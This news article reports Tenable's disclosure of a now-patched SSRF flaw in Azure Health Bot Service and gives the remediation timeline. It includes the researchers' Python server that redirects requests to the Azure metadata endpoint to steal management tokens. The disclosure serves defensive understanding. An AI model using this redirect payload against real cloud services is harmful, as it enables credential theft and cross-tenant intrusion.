Tenable Research has identified critical security flaws in Microsoft’s Azure Health Bot Service, a cloud-based platform intended to assist healthcare providers with deploying AI-driven virtual health assistants.
The Azure AI Health Bot Service, tailored for healthcare institutions, facilitates the creation and implementation of AI-powered virtual health assistants. These assistants are designed to enhance operational efficiency, cut costs, and adhere to industry standards. However, the discovered vulnerabilities raised serious concerns regarding unauthorized access and potential lateral movement within the platform’s resources.
Tenable’s scrutiny centered on a component named “Data Connections,” which allows the Azure Health Bot Service to interact with external data sources. During their evaluation, researchers uncovered a server-side request forgery (SSRF) vulnerability.
This flaw permitted the circumvention of existing security measures, granting access to sensitive internal endpoints, including Azure’s Internal Metadata Service (IMDS).
Technical Details
The SSRF vulnerability was exploited by configuring a data connection to redirect requests to an external server controlled by the attackers. This external server was set up to issue a 301 redirect to the IMDS endpoint. By following this redirect, researchers were able to access a valid metadata response, which provided them with an access token for management.azure.com. With this token, they could enumerate subscriptions and resources belonging to other clients.
To carry out the SSRF attack, Tenable researchers employed a Python script to create an HTTP server:
#!/usr/bin/python3
from http.server import HTTPServer, BaseHTTPRequestHandler
def serve_page(server, verb):
server.protocol_version = 'HTTP/1.1'
server.server_version = 'Microsoft-IIS/8.5'
server.sys_version = ''
server.send_response(301)
server.send_header('Location', 'http://169.254.169.254/metadata/instance?api-version=2021-12-13')
server.end_headers()
message = ""
server.wfile.write(bytes(message, "utf8"))
class StaticServer(BaseHTTPRequestHandler):
def do_GET(self):
serve_page(self, "GET")
def main(server_class=HTTPServer, handler_class=StaticServer, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
httpd.serve_forever()
main()By manipulating the data connection within the service’s scenario editor, attackers could configure an external server of their choosing. This server would respond with a 301 redirect to the IMDS, allowing the attackers to retrieve a valid metadata response and access an access token for management.azure.com.
Response and Resolution
Tenable reported these vulnerabilities to Microsoft’s Security Response Center (MSRC) on June 17, 2024. Microsoft promptly acknowledged the issue and began applying patches. By July 2, all affected services and regions had been updated, eliminating the need for customer intervention.
On July 9, Tenable discovered an additional vulnerable endpoint related to FHIR data connections. Although this endpoint was also susceptible to a similar attack, it did not allow cross-tenant access. This issue was reported on July 9 and was resolved by July 12.
These incidents highlight the critical need for stringent security measures in web applications and cloud services, particularly those involving AI. While there is no indication that these vulnerabilities were exploited maliciously, the situation underscores the importance of ongoing security assessments and proactive vulnerability management.
